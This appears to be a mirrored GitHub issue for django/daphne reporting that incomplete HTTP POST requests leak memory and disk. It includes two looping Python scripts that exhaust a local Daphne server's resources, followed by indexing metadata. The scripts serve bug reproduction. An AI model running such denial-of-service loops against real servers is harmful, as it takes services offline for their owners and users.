django / django/daphne

Persistent Memory and Disk leak

Open
#288 2 comments 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
2.7k
Forks
292
Avg merge
2d 15h
Merged PRs (30d)
3

Description

Daphne does not seem to clean up after incomplete HTTP POST requests.

Back story: Twisted handles POST requests by saving the body to either the disk or memory, depending on the expected Content-Length. Normally this would be cleaned up when the request is finished. This cleanup does not seem to happen in Daphne.

Memory leak:
```
import socket

while True:
print('Sending payload')
init_payload = b"""POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 99999\r\n\r\n"""
pl = b'a'*99998
s = socket.create_connection(('127.0.0.1', 8000))
s.sendall(init_payload)
s.sendall(pl)
s.close()
```

Disk leak:
```
import socket

while True:
print('Sending payload')
init_payload = b"""POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 2000000000\r\n\r\n"""
pl = b'a'*9999
s = socket.create_connection(('127.0.0.1', 8000))
s.sendall(init_payload)
for _ in range(200000):
s.sendall(pl)
s.close()
```

My suggestion is to fix the bug and recommend not exposing a Twisted Web server directly to the internet. Even the default Twisted Web can be taken down with something like this although it requires a bit more persistence.

Side-note: I'm not sure what http_timeout does....

Contributor guide

No contributing guide indexed for this repository

Research direction

Reproduce the incomplete HTTP POST cases described in the issue and trace Daphne's request-body handling, including the mentioned http_timeout behavior. Identify where Twisted's memory- or disk-backed body is retained after the socket closes, then verify that repeated interrupted requests no longer accumulate resources.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
backend, networking
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.